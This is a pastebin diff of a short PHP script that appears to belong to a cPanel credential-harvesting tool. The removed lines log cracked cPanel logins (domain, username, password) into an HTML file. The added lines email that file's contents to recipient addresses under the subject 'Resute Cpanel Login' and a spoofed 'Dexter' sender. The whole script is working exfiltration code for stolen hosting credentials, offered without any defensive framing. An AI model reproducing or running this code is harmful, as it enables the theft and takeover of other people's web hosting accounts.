SHOW:
|
|
- or go back to the newest paste.
| 1 | <?php | |
| 2 | ||
| 3 | // multiple recipients | |
| 4 | $to .= '[email protected],[email protected]'; | |
| 5 | - | $fp = fopen("../8.html", 'a+');
|
| 5 | + | |
| 6 | - | fwrite($fp, "".$count++."- </td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td> |
| 6 | + | // subject |
| 7 | - | Procoderz user is (<b><font color=green>".$owner['name']."</font></b>) Password is (<b><font color=green>".$password."</font></b>)<br />"); |
| 7 | + | $subject = 'Resute Cpanel Login'; |
| 8 | - | |
| 8 | + | |
| 9 | // message | |
| 10 | $message = ".". file_get_contents("../8.html") . "\n";
| |
| 11 | ||
| 12 | // To send HTML mail, the Content-type header must be set | |
| 13 | $headers = 'MIME-Version: 1.0' . "\r\n"; | |
| 14 | $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; | |
| 15 | ||
| 16 | // Additional headers | |
| 17 | $headers .= 'From: Dexter <localhost>' . "\r\n"; | |
| 18 | ||
| 19 | // Mail it | |
| 20 | mail($to, $subject, $message, $headers); | |
| 21 | ?> |